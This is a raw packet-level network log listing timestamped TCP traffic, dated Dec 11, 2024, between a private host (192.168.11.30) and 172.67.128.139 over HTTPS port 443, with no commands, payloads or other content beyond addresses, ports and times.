Dec 11, 2024 12:30:44.080564976 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.080899000 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.080899000 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.080899000 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.080904961 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.081279039 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.081377029 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.081384897 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.081744909 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.081744909 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.081751108 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.081937075 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.083039045 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.083050013 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.083406925 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.083406925 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.083414078 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.083595991 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.083995104 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.084005117 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.084489107 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.084492922 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.084670067 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.085220098 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.085228920 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.085377932 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.085561037 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.085566998 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.085752964 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.086843014 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.086852074 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.087003946 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.087187052 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.087187052 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.087192059 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.087378025 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.088125944 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.088135958 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.088810921 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.088810921 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.088810921 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.088821888 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.088999033 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.095621109 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.095629930 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.095777035 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.095788002 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.095813990 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.095959902 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.095959902 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.095959902 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.095968008 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.096144915 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.096148968 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.096196890 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.096199989 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.096394062 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.096394062 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.096394062 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.096394062 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.096404076 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.096581936 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.096586943 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.096817970 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.096817970 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.096817970 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.096823931 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.096865892 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.096870899 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.097234964 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.097243071 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.097243071 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.097243071 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.097243071 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.097251892 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.097531080 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.097774982 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.097825050 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.098861933 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.098870039 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.099200964 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.099200964 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.099206924 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.099390030 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.099747896 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.099756956 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.099910021 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.099915028 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.100102901 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.100102901 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.100102901 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.101186991 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.101244926 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.101340055 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.101340055 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.101522923 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.101522923 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.101528883 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.150717020 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.271179914 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.271190882 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.271544933 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.271544933 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.271553993 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.271733046 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.274867058 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.274877071 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.275063038 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.275232077 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.275232077 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.275238037 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.275423050 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.282244921 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.282254934 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.282426119 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.282426119 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.282799959 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.282807112 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.282948971 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.283097029 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.283106089 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.283291101 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.283291101 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.283298016 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.283476114 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.283476114 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.283476114 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.284176111 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.284184933 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.284334898 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.284334898 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.284518957 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.284518957 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.284518957 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.284523010 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.284709930 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.285141945 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.285248995 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.285418034 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.285418034 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.285423994 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.285598993 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.286181927 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.286190033 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.286381960 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.286397934 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.286478043 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.286478043 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.287353039 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.287363052 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.287707090 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.287707090 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.287707090 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.287707090 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.287718058 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.288543940 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.288552999 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.288707018 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.288711071 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.288899899 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.288899899 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.288899899 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.289648056 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.289657116 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.289990902 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.289990902 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.289999962 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.290183067 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.290640116 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.290651083 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.290827036 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.290834904 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.291060925 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.291060925 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.291645050 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.291654110 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.291829109 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.291836023 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.291996956 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.291996956 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.291996956 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.291996956 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.293047905 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.293057919 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.293385029 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.293390036 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.294078112 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.294090033 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.294306040 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.294312954 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.294495106 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.295310020 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.295319080 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.295449018 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.295454979 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.295690060 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.295690060 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.296175003 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.296185970 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.296516895 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.296516895 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.296516895 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.296516895 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.296524048 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.297291040 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.297302961 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.297461987 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.297461987 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.297468901 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.297511101 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.297703981 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.297703981 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.298916101 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.298924923 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.299098015 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.299098969 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.299280882 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.299280882 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.299280882 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.299280882 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.299288034 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.299978971 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.299989939 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.300251007 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.300256014 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.300440073 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.300595045 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.300604105 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.300731897 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.300735950 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.300781965 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.300975084 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.300975084 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.300975084 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.300975084 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.302521944 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.302531958 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.302706003 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.302881956 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.302881956 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.302889109 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.303358078 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.303369045 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.303569078 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.303569078 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.303569078 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.303575993 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.303653002 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.303819895 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.304502010 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.304511070 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.304663897 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.304672956 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.304855108 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.305474997 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.305485010 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.305658102 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.305834055 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.305843115 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.306005955 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.306961060 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.306972980 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.307313919 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.307313919 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.307321072 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.307914972 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.307924032 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.308074951 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.308083057 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.308264017 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.308264017 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.308264017 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.309210062 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.309218884 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.309398890 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.309573889 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.309580088 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.309928894 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.309941053 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.310113907 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.310122967 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.310200930 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.310419083 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.311014891 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.311023951 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.311170101 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.311177015 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.311366081 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.311366081 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.311366081 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.311557055 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.311861038 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.311871052 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.312021017 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.312201977 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.312201977 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.312212944 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.313585043 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.313596964 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.313941956 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.313941956 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.313941956 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.313951015 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.314399004 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.314408064 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.314573050 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.314579964 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.314765930 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.314765930 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.315706968 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.315717936 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.315866947 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.315872908 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.316060066 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.316060066 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.316060066 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.316060066 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.316060066 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.316602945 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.316612005 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.316759109 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.316942930 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.316942930 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.316946030 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.318217993 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.318229914 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.318414927 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.318420887 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.318595886 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.318595886 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.319217920 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.319228888 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.319353104 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.319360971 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.319570065 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.319570065 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.320127964 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.320137978 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.320286989 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.320467949 CET	49763	443	192.168.11.30	172.67.128.139
